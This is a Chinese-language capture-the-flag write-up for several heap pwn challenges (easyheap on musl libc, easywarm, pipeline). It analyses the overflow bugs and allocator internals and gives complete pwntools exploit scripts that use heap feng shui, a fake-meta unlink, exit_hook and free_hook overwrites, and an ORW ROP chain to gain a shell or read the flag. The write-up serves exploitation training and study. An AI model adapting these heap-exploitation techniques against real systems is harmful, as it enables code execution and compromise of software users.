heap_addr = heap_base + 0xf60
payload = p64(0)+p64(0x541)
payload += p64(heap_addr+0x30)+p64(heap_addr+0x30)+p64(0)+p64(0)+p64(heap_addr+0x10)+p64(heap_addr+0x10)
edit(1,payload)
add(0x108)#1
add(0x108)#2
add(0x108)#3
add(0x108)#4
add(0x108)#5

payload = "a"*0x108
edit(5,payload)
payload = "a"*0x100+p64(0x540)
edit(5,payload)
payload = "\x00"*0xf0+p64(0)+p64(0x111)
edit(6,payload)

for i in range(7):
add(0xf8)

for i in range(7):
dele(i+7)

dele(6)
add(0x30)

show(6)
ru("\n")
leakaddr = eval(b"0x"+ru("\n"))
leakaddr1 = decode(leakaddr)
leakaddr = eval(b"0x"+ru("\n"))
leakaddr2 = decode(leakaddr)

leakaddr = leakaddr1 + leakaddr2 * 0x100000000
libc_base = leakaddr - 0x3ec120
success("leakaddr >> "+hex(leakaddr))
success("libc_base >> "+hex(libc_base))

free_hook = libc_base + libc.sym["__free_hook"]
set_context = libc_base + libc.sym["setcontext"]+61
stack_libc = libc_base + 0x5d1a40

for i in range(5):
dele(4-i)

payload = 0xb8*"a"+p64(0x111)+p64(stack_libc)+p64(heap_base+0x10)
add(0x200)
edit(0,payload)

add(0x108)#1
add(0x108)#2
add(0x108)#3

show(3)
ru("\n")
leakaddr = eval(b"0x"+ru("\n"))
leakaddr1 = decode(leakaddr)
leakaddr = eval(b"0x"+ru("\n"))
leakaddr2 = decode(leakaddr)

leakaddr = leakaddr1 + leakaddr2 * 0x100000000
stack_base = leakaddr - 0x1fc90
success("leakaddr >> "+hex(leakaddr))
success("stack_base >> "+hex(stack_base))

dele(1)
dele(5)

pop_rax_ret = libc_base+0x000000000001b500
pop_rdi_ret = libc_base+0x000000000002164f
pop_rsi_ret = libc_base+0x0000000000023a6a
pop_rdx_ret = libc_base+0x0000000000001b96
syscall_ret = libc_base+0x00000000000d2625

add(0x200)
payload = "b"*0x1d8+p64(0x100)+p64(stack_base+0x1fc48)
edit(1,payload)

# open(bss_addr,0)[4]
payload = ""
payload += p64(pop_rax_ret) + p64(2)
payload += p64(pop_rdi_ret) + p64(stack_base+0x1fd20)
payload += p64(pop_rsi_ret) + p64(0)
payload += p64(pop_rdx_ret) + p64(0)
payload += p64(syscall_ret)
# read(4,bss_addr,0x60)
payload += p64(pop_rax_ret) + p64(0)
payload += p64(pop_rdi_ret) + p64(3)
payload += p64(pop_rsi_ret) + p64(stack_base+0x1fd20)
payload += p64(pop_rdx_ret) + p64(0x60)
payload += p64(syscall_ret)
# write(1,bss_addr,0x60)
payload += p64(pop_rax_ret) + p64(1)
payload += p64(pop_rdi_ret) + p64(1)
payload += p64(pop_rsi_ret) + p64(stack_base+0x1fd20)
payload += p64(pop_rdx_ret) + p64(0x60)
payload += p64(syscall_ret)
payload += "./flag\x00"

#debug()

add(0x108)
add(0x108)
edit(5,payload)

p.interactive()

easyheap

1
2
3
4
5
6
easyheap: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib/ld-musl-x86_64.so.1, stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开

程序给了一个 libc.so,一番查找后发现这是一个 musl libc:

1
2
3
4
5
➜  pwn ./libc.so        
musl libc (x86_64)
Version 1.2.2
Dynamic Program Loader
Usage: ./libc.so [options] [--] pathname [args]
  • PS:musl 只有一个 libc,即作为 libc 也是 ld

对于 musl libc,patchelf 是无效的,需要将题目提供的 libc.so 复制到对应的目录:

1
cp libc.so /usr/lib/x86_64-linux-musl/libc.so

程序分析

想要开启程序核心功能必须先逆向解密:

1
2
3
4
5
6
7
8
9
10
do
{
data = *codep;
keyp += 2;
++codep;
sprintf(keyp, "%02x", (unsigned __int8)data ^ 0x23u);
}
while ( keyp != (char *)&zero );
if ( key[0] ^ 0x3036323130313437LL | key[1] ^ 0x6337303165363331LL
|| key[2] ^ 0x3237633763343735LL | key[3] ^ 0x3231313131363437LL )

脚本如下:

1
2
3
4
5
6
7
8
9
key=[0x3036323130313437,0x6337303165363331,0x3237633763343735,0x3231313131363437]
for i in key:
num = i
for j in range(4):
key = ""
for k in range(2):
key += chr((num % 0x100))
num = num // 0x100
print(chr(eval("0x"+key)^0x23),end="") # W31C0M3_to_QWB21

函数 Prepare 提供了4种核心功能:

1
2
3
4
5
.data:0000000000204300 90 18 00 00 00 00 00 00 90 14+funcs dq offset add                     ; DATA XREF: Prepare+230↑o
.data:0000000000204300 00 00 00 00 00 00 70 15 00 00+ ; Prepare+23C↑r
.data:0000000000204300 00 00 00 00 00 1A 00 00 00 00+dq offset dele
.data:0000000000204300 00 00 dq offset show
.data:0000000000204300 dq offset edit
  • add:输入 size 作为 num 的个数,然后输入 size 个 num,申请 (num+1)*4 大小的 chunk,以4字节为单位将数据写入 chunk,最后调用 get_op 依次遍历这些数字,并依次随机选择四则运算中的一个运算操作符进行运算,将运算结果填充到最后一个数字槽中
  • edit:重新输入 size 个 num,调用 get_op 进行计算,并将结果写回(位置错误)

函数 Challenge 需要对最后一个随机生成的数字进行猜测,程序对每一次猜测提供了两次 Silver Finger 和全局两次 Golden Finger 的功能:

  • Silver Finger 只会允许跳过当前级别对数字的猜测
  • Golden Finger 会根据用户输入的数字的数量,得到最终正确答案的数字

漏洞分析

函数 add 执行结果回写的代码:

1
2
data = &node->chunk[size + 1 - 1];
*data = get_op(chunk, size);

函数 edit 执行结果回写的代码:

1
2
sizea = size + 1;
chunk[sizea] = get_op(chunk, sizea);
  • 可以发现,函数 edit 有明显的4字节溢出

打印数据时,会输出38字节,但是 info.header->name 的值可能小于38字节:

1
2
printf("#   Name: %-38s #\n", (const char *)&info.header->name);
printf("# Level: %-38d#\n", **(unsigned int **)((char *)&info.header->level + info.header->size));
1
2
puts("Input your name!");
readn(info.header->name, len);

输入 num 时没有进行限制,导致可以将 heap 上的任意数据写入 mmapg

1
2
3
num = input_num();
......
mmapg[index] = chunk[num];

libc musl

musl 把 chunk 大小分为48类,用 size_to_class 进行计算(与 *active[48] 对应)

mallocng 在分配 meta 时,总是先分配一页的内存,然后划分为多个 meta 区域,而该页的最开始存放的就是 meta_area(这一页的内存用于管理 chunk)

1
2
3
4
5
6
struct meta_area {
uint64_t check; /* 用于和malloc_context->secret进行匹配 */
struct meta_area *next; /* 下一个节点指针 */
int nslots; /* 当前使用的meta数量 */
struct meta slots[]; /* 指向meta的指针(结构体meta_area后面的内存就是meta数组) */
};
1
2
3
4
5
6
7
8
9
struct meta {
struct meta *prev, *next; /* 双向链表 */
struct group *mem; /* 指向group */
volatile int avail_mask, freed_mask; /* 可用/释放chunk的bitmap */
uintptr_t last_idx:5; /* 表示最后一个chunk的下标 */
uintptr_t freeable:1;
uintptr_t sizeclass:6; /* group的大小,如果mem是mmap分配,固定为63 */
uintptr_t maplen:8*sizeof(uintptr_t)-12; /* 如果group是mmap分配的,则代表内存页数,否则为'0' */
};

多个相同大小的 chunk(物理相邻)以及一些控制信息会组成 group

1
2
3
4
5
6
struct group {
struct meta *meta; /* 指回meta */
unsigned char active_idx:5;
char pad[UNIT - sizeof(struct meta *) - 1]; /* 0x10字节对齐(NUIT为0x10) */
unsigned char storage[]; /* 存放chunk数据 */
};

chunk 没有专门在代码中定义,但总体结构如下:

1
2
3
4
5
6
struct chunk {
char prev_user_data[]; /* 用于存储上一个chunk的数据 */
uint8_t idx; /* 低5bit作为idx表示这是group中第几个chunk,高3bit作为预留位 */
uint16_t offset; /* 与第一个chunk的偏移 */
char user_data[]; /* 用于存储数据 */
};

测试案例:

1
2
3
add([1]*6)
add([2]*6)
add([3]*6)

可以在 GDB 中打印此数据:

1
2
3
4
5
6
7
8
pwndbg> x/20xw 0x555555604cc0 /* 释放前 */
0x555555604cc0: 0x556060e0 0x00005555 0x0000000e 0x00000000 /* chunk1 */
0x555555604cd0: 0x00000001 0x00000001 0x00000001 0x00000001
0x555555604ce0: 0x00000001 0x00000001 0xffffffff 0x00020100 /* chunk2 */
0x555555604cf0: 0x00000002 0x00000002 0x00000002 0x00000002
0x555555604d00: 0x00000002 0x00000002 0xfffffffa 0x00040200 /* chunk3 */
0x555555604d10: 0x00000003 0x00000003 0x00000003 0x00000003
0x555555604d20: 0x00000003 0x00000003 0x0000000f 0x00000000
1
2
3
4
5
6
7
8
pwndbg> x/20xw 0x555555604cc0 /* 释放后 */
0x555555604cc0: 0x00000000 0x00000000 0x0000000e 0x0000ff00 /* chunk1 */
0x555555604cd0: 0x00000001 0x00000001 0x00000001 0x00000001
0x555555604ce0: 0x00000001 0x00000001 0x00000002 0x0000ff00 /* chunk2 */
0x555555604cf0: 0x00000002 0x00000002 0x00000002 0x00000002
0x555555604d00: 0x00000002 0x00000002 0x00000010 0x0000ff00 /* chunk3 */
0x555555604d10: 0x00000003 0x00000003 0x00000003 0x00000003
0x555555604d20: 0x00000003 0x00000003 0xfffffffd 0x00000000
  • 前6个数据是输入的 num,第7个数据是计算的结果,第8个数据就是 idx offset

musl 中的 unlink 依赖与如下的函数,本身缺乏检查:

1
2
3
4
5
6
7
8
9
10
11
static inline void dequeue(struct meta **phead, struct meta *m)
{
if (m->next != m) {
m->prev->next = m->next;
m->next->prev = m->prev;
if (*phead == m) *phead = m->next;
} else {
*phead = 0;
}
m->prev = m->next = 0;
}

dequeue函数的触发条件如下:

  • 队列不能为空
  • 队列的头指针不能为空
  • 队列中至少有一个元素

入侵思路

现在有4字节的溢出,可以覆盖 chunk->idx,offset,不过首先需要利用溢出泄露 libc_base:

1
2
3
4
5
6
7
8
9
10
11
12
13
prepare()
add([0xFFFFFFFF]*20) # 0
dele(0)
add([0x0]*3) # 0
exit()
challenge([0x0], "d" * 0x18, True)
pause()
show()
ru('\xff'*0x18)
leak_addr = u64(p.recv(6).ljust(8, '\x00'))
libc_base = leak_addr - 0xb7870
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))
1
2
3
4
5
6
pwndbg> telescope 0x7ffff7ffec78
00:0000│ rsi 0x7ffff7ffec78 ◂— 0x6464646464646464 ('dddddddd')
... ↓ 2 skipped
03:00180x7ffff7ffec90 ◂— 0xffffffffffffffff
... ↓ 2 skipped
06:00300x7ffff7ffeca8 —▸ 0x7ffff7ffe870 ◂— 0x1

由于 meta 所在页与 group 所在页分离,想要伪造 meta,就必须要泄露 secret:

1
mmapg[index] = chunk[num];
  • 由于 num 没有限制,因此可以将 heap 上的 secret 写入 mmapg
1
2
3
4
prepare()
add([0x0]*3) #1
exit()
challenge([("whos_your_daddy", 1228),("whos_your_daddy", 1221)])

接下来就是布置堆风水,将当前堆块的最后 4 个字节设置为 0xdeadbeef010,通过 4 字节溢出将下一个堆块的 offset 值设置为 0

释放下一个 chunk,将 meta 劫持到 0xdeadbeef010 处,然后程序会执行 dequeue 将 fake meta unlink,在此处会触发一次 WAA 任意写,我们的目标就是劫持 musl IO 并执行 system

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
# -*- coding:utf-8 -*-
from signal import pause
from pwn import *

arch = 64
challenge = './easyheap'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

local = 1
if local:
p = process(challenge)
else:
p = remote('119.13.105.35','10111')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x1528)\nb *$rebase(0x1AC6)\n")
#pause()

def cmd(op):
sla(">>",str(op))

def prepare():
cmd(1)
sla("Code: ","W31C0M3_to_QWB21")

def add(nums):
sla("$ ", "QWB_Cr34t3")
sla("need?", str(len(nums)))
for idx,n in enumerate(nums):
sla("num", str(n))

def edit(idx, nums):
sla("$ ", "QWB_M0d1Fy")
sla("modify?", str(idx))
for idx, n in enumerate(nums):
sla("num", str(n))

def dele(idx):
sla("$ ", "QWB_D3l3Te")
sla("delete?", str(idx))

def show():
sla(">>", "3")

def exit():
sla("$ ", "QWB_G00dBye")

def challenge(answers, name=None, wait=False):
sla(">>", "2")
for ans in answers:
if wait:
time.sleep(0.1)
if type(ans) == int:
sla("answer: ", str(ans))
else:
hint, nums = ans
sla("answer: ", hint)
if hint == "whos_your_daddy":
sla("Input:", str(nums))
if name is None:
return
sla("name?", str(len(name)))
sa("name!", name)

#debug()

prepare()
add([0xFFFFFFFF]*20) #0
dele(0)
add([0x0]*3) #0
exit()
challenge([0x0], "d" * 0x18, True)
show()
ru('\xff'*0x18)
leak_addr = u64(p.recv(6).ljust(8, '\x00'))
libc_base = leak_addr - 0xb7870
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

prepare()
add([0x0]*3) #1
exit()
challenge([("whos_your_daddy", 1228),("whos_your_daddy", 1221)])

prepare()
for i in range(9):
dele(i)
for i in range(3):
add([0x0] * 14)

edit(1, [0] * 12 + [0xdbeef010, 0xdea, 0x0])

system = libc_base + 0x50a90
add([0x6e69622f, 0x68732f] + [0x0] * 8 + [0xdeadbeef, 0x0, 0x0, 0x0, 0xbeefdead, 0x0, 0x0, 0x0, system & 0xffffffff, system >> 32])

for i in range(10):
add([0x0] * 14)
exit()

stdout = libc_base + 0xb4280
base_address = libc_base + 0xb7a90
stdout_ptr = system + 0x63920
fake_chunk = libc_base + 0xb7cc0

success("base_address >> "+hex(base_address))
success("system >> "+hex(system))
success("fake_chunk >> "+hex(fake_chunk))
success("stdout_ptr >> "+hex(stdout_ptr))
success("break_addr >> "+hex(libc_base + 0x2AB17))

maplen = 1
freeable = 1
last_value = (20 << 6) | (1 << 5) | 1 | (0xfff << 12)

challenge([("next_next", 0), ("next_next", 0),
0x0, 0x0,
fake_chunk & 0xffffffff, fake_chunk >> 32, # prev
stdout_ptr & 0xffffffff, stdout_ptr >> 32, # next
base_address & 0xffffffff, base_address >> 32, # group
0x2, 0x0, # masks
last_value & 0xffffffff, last_value >> 32])

#pause()
prepare()
dele(2)
exit()
sla(">>", "4")

p.interactive()

easywarm

1
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.2) stable release version 2.31.
1
2
3
4
5
6
easywarm: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=e708c2433f22dc346ad3b92573800150c429996f, for GNU/Linux 3.2.0, stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开

漏洞分析

程序总体上是实现了一个走迷宫的小游戏,漏洞比较难找

1
2
3
4
5
6
7
if ( sizeg / numg > 15 && sizeg / numg <= 32 )
{
for ( i = 0; i < sizeg / numg / 2; ++i )
v3 = 2 * v3 + 1;
v2 = v3 & (unsigned __int64)&v2;
printf("flag: %lu\n", v3 & (unsigned __int64)&v2);
}
  • 可以泄露 stack_addr 的后4位

程序设置了一个可疑的中断处理:

1
signal(8, (__sighandler_t)hander2);
1
2
3
4
memcpy(*(void **)(key_buf.argv + 8), "666", 3uLL);
memset(s, 0, 0x100uLL);
readlink("/proc/self/exe", s, 0xFFuLL);
execve(s, (char *const *)key_buf.argv, (char *const *)key_buf.env);

找了半天也没弄懂该如何触发,最后在 nowork 中发现了端倪:(有一个除0操作被优化了)

1
2
3
puts("This is a gift for you ^_^ ~");
puts("# system(\"/aidai/ash\"); exists here.");
puts("# I think you must be able to get flag.");

另外程序还有一处溢出:

1
2
memset(&key_buf, 0, sizeg / numg / 2 + 80);
readn(&key_buf, sizeg / numg / 2 + 80);
  • 在 key_buf 中可以溢出2字节

入侵思路

为了触发 stack_addr 泄露,必须先解决迷宫问题:

提取迷宫数据时往往会因为单位字符的长度不同而提取出错,这里我选择用正则表达式解决这个问题

1
2
3
4
5
6
7
8
9
maze = []
ru("\n")
for i in range(30):
data = ru("\n")[2:-2]
data = re.sub("🚩","7",data)
data = re.sub("👴","3",data)
data = re.sub(" ","1",data)
data = re.sub("██","0",data)
maze.append(data)

走迷宫的脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
def solve(v):
v = ['0' * len(v[0])] + v + ['0' * len(v[0])]
v = ['0' + i + '0' for i in v]
v = [list(i) for i in v]

x0, y0 = 0, 0
for x in range(len(v)):
for y in range(len(v[0])):
if v[x][y] == '3':
x0, y0 = x, y
v[x0][y0] = '1'

ans = []

def dfs(ans, v, x, y):
if v[x][y] == '7':
return True
if v[x][y] != '1':
return False
v[x][y] = '0'
action = [
['w', x-1, y],
['s', x+1, y],
['a', x, y-1],
['d', x, y+1],
]
for ch, xx, yy in action:
ans += [ch]
ok = dfs(ans, v, xx, yy)
if ok:
return True
ans.pop()
return False

ok = dfs(ans, v, x0, y0)
return ok, ''.join(ans)

name = "LD_DEBUG=all"
sla("name: ",name)

泄露栈地址后4字节后,配合2字节溢出覆盖 key_buf.env 低位,可以劫持环境变量到我们输入 name 的地方

看 wp 得知,设置环境变量 LD_DEBUG=all(12字节) 可以打印出 ld.so 加载库的时候的 log,因此可以得到 libc 的加载地址,效果如下:

1
2
3
4
13304:    file=./libc-2.31.so [0];  needed by ./easywarm1 [0]
13304: file=./libc-2.31.so [0]; generating link map
13304: dynamic: 0x00007ffff7fbfb80 base: 0x00007ffff7dd5000 size: 0x00000000001f14d8
13304: entry: 0x00007ffff7dfc1f0 phdr: 0x00007ffff7dd5040 phnum: 14

最后就是一个 libc 任意写,尝试打 exit_hook:

1
2
3
4
5
pwndbg> p rtld_lock_default_lock_recursive
$1 = {void (void *)} 0x7ffff7fd0150 <rtld_lock_default_lock_recursive>
pwndbg> search -t qword 0x7ffff7fd0150
Searching for value: b'P\x01\xfd\xf7\xff\x7f\x00\x00'
ld-2.31.so 0x7ffff7ffdf68 0x7ffff7fd0150

PS:从 wp 中学到的,打 __libc_atexit 也是个不错的选择

1
2
3
4
5
6
__libc_atexit:00000000001ED608                               __libc_atexit segment qword public 'DATA' use64
__libc_atexit:00000000001ED608 assume cs:__libc_atexit
__libc_atexit:00000000001ED608 ;org 1ED608h
__libc_atexit:00000000001ED608 E0 5E 09 00 00 00 00 00 off_1ED608 dq offset fcloseall_0 ; DATA XREF: sub_49930+1DA↑o
__libc_atexit:00000000001ED608 ; sub_5EED0+1672↑o
__libc_atexit:00000000001ED608 ; sub_5EED0+1E37↑o

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
# -*- coding:utf-8 -*-
from pwn import *
import re

arch = 64
challenge = './easywarm1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

local = 1
if local:
p = process([challenge,"000"])
else:
p = remote('119.13.105.35','10111')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x180A)\n")
pause()

def cmd(op):
sla("[-]",str(op))

def add(num,size):
cmd(1)
sla(" complexity: ",str(num))
sla("length: ",str(size))

def show():
cmd(4)

def free():
cmd(5)

def challenge(data):
cmd(3)
sla("input: ",data)

def magic():
cmd(0x666)

def solve(v):
v = ['0' * len(v[0])] + v + ['0' * len(v[0])]
v = ['0' + i + '0' for i in v]
v = [list(i) for i in v]

x0, y0 = 0, 0
for x in range(len(v)):
for y in range(len(v[0])):
if v[x][y] == '3':
x0, y0 = x, y
v[x0][y0] = '1'

ans = []

def dfs(ans, v, x, y):
if v[x][y] == '7':
return True
if v[x][y] != '1':
return False
v[x][y] = '0'
action = [
['w', x-1, y],
['s', x+1, y],
['a', x, y-1],
['d', x, y+1],
]
for ch, xx, yy in action:
ans += [ch]
ok = dfs(ans, v, xx, yy)
if ok:
return True
ans.pop()
return False

ok = dfs(ans, v, x0, y0)
return ok, ''.join(ans)

name = "LD_DEBUG=all"
sla("name: ",name)

add(1,28)
show()

maze = []
ru("\n")
for i in range(30):
data = ru("\n")[2:-2]
data = re.sub("🚩","7",data)
data = re.sub("👴","3",data)
data = re.sub(" ","1",data)
data = re.sub("██","0",data)
maze.append(data)

for i in maze:
print(i)

ok,ans = solve(maze)
if len(ans)>96:
exit()
challenge(ans)

ru("flag: ")
leak_addr = eval(ru("\n"))
success("leak_addr >> "+hex(leak_addr))

add(1,32)

payload = "a"*96+p16(leak_addr+136)
challenge(payload)

magic()
ru(" dynamic: ")
leak_addr = eval(ru(" ")[:-1])*0x10
libc_base =leak_addr - 0x1eab80
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

system = libc_base + libc.sym["system"]
one_gadgets = [0xe6aee,0xe6af1,0xe6af4]
one_gadget = libc_base + one_gadgets[0]
exit_hook = libc_base + 0x228f68

success("one_gadget >> "+hex(one_gadget))
success("exit_hook >> "+hex(exit_hook))

offset = exit_hook - 0xadad000
success("offset >> "+hex(offset))

#debug()

ru("Administrator mode")
sa("error?",p64(offset))
success("one_gadget >> "+hex(one_gadget))
sla("to record?",p64(one_gadget)+"a"*8)

p.interactive()

pipeline

1
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.2) stable release version 2.31.
1
2
3
4
5
6
pipeline: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=1660ac5f889c59866adfdd8ab506d59e2951e03a, for GNU/Linux 3.2.0, stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开

漏洞分析

程序对 size 大小有检查:(导致不能使用 mmap 进行分配)

1
2
3
chunkg = malloc(0x10uLL);
*chunkg = chunkg + 2;
chunkg[1] = 0x21000LL;
1
2
3
4
5
if ( a1 < *chunkg || (result = *chunkg + chunkg[1], a1 >= result) )
{
puts("error");
exit(0);
}

程序对 offset 也有检查:(导致 offset 不能为负数)

1
2
if ( (signed int)chunk->offset >= chunk->size || (chunk->offset & 0x80000000) != 0 )
chunk->offset = 0;

整数溢出导致堆溢出:

1
2
3
4
size2 = chunk->size - chunk->offset;
if ( size <= size2 )
LOWORD(size2) = size;
readn((__int64)chunk->data + (int)chunk->offset, (__int16)size2);
  • chunk->offset 是 unsigned int 类型,但 readn 中将其识别为 int
  • LOWORD(size2) = size 中,4字节的 size2 只有低2字节被覆盖,可能导致堆溢出
  • 如果我们输入 0x80000200(负数),程序就会进入 if 语句,但最终只有 0x200 被覆盖到 size2

入侵思路

程序没有 free,只有一个 realloc 可以利用:

1
2
3
chunk->offset = input_num("offset: ");
chunk->size = input_num("size: ");
chunk->data = realloc_s(chunk->data, chunk->size);

申请一个大堆块,然后 realloc 一个更大的堆块,配合堆风水就可以泄露 libc_base 和 heap_base

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
add()#0
add()#1
add()#2
add()#3
add()#4
add2(0,0,0x450)
add()#5
add2(1,0,0x460)
add2(0,0,0x500)
add2(2,0,0x10)

show(2)
ru("data: ")
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
libc_base = leak_addr - 0x1ebfe0
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

add2(1,0,0x500)
add2(3,0,0x430)
add2(4,0,0x40)
edit(4,0x10,"a"*0x10)

show(4)
ru("data: ")
ru("aaaaaaaaaaaaaaaa")
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
heap_base = leak_addr - 0x7d0
success("leak_addr >> "+hex(leak_addr))
success("heap_base >> "+hex(heap_base))

由于程序的限制不能直接劫持 tcache,因此需要劫持程序的单链表结构,然后直接修改 free_hook 即可

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './pipeline1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

local = 1
if local:
p = process(challenge)
else:
p = remote('119.13.105.35','10111')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x188A)\n")
#pause()

def cmd(op):
sla(">> ",str(op))

def add():
cmd(1)

def add2(index,offset,size):
cmd(2)
sla("index: ",str(index))
if type(offset) == int:
sla("offset: ",str(offset))
else:
sla("offset: ",offset)
if type(size) == int:
sla("size: ",str(size))
else:
sla("size: ",size)

def dele(index):
cmd(3)
sla("index: ",str(index))

def edit(index,size,data):
cmd(4)
sla("index: ",str(index))
if type(size) == int:
sla("size: ",str(size))
else:
sla("size: ",size)
sla("data: ",data)

def show(index):
cmd(5)
sla("index: ",str(index))

add()#0
add()#1
add()#2
add()#3
add()#4
add2(0,0,0x450)
add()#5
add2(1,0,0x460)
add2(0,0,0x500)
add2(2,0,0x10)

show(2)
ru("data: ")
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
libc_base = leak_addr - 0x1ebfe0
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

add2(1,0,0x500)
add2(3,0,0x430)
add2(4,0,0x40)
edit(4,0x10,"a"*0x10)

show(4)
ru("data: ")
ru("aaaaaaaaaaaaaaaa")
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
heap_base = leak_addr - 0x7d0
success("leak_addr >> "+hex(leak_addr))
success("heap_base >> "+hex(heap_base))

free_hook = libc_base + libc.sym["__free_hook"]
system = libc_base + libc.sym["system"]

#debug()
add()#6
add2(6,0,0x3f0)
add2(5,0,0x100)
add()#7

payload = "a"*0x108+p64(0x21)+p64(free_hook-0x8)+p64(0x50000000000)
edit(5,"-2147483136",payload)
payload = "/bin/sh\x00" + p64(system)
edit(7,0x20,payload)

edit(0,0x10,"/bin/sh\x00")
add2(0,0,0)

p.interactive()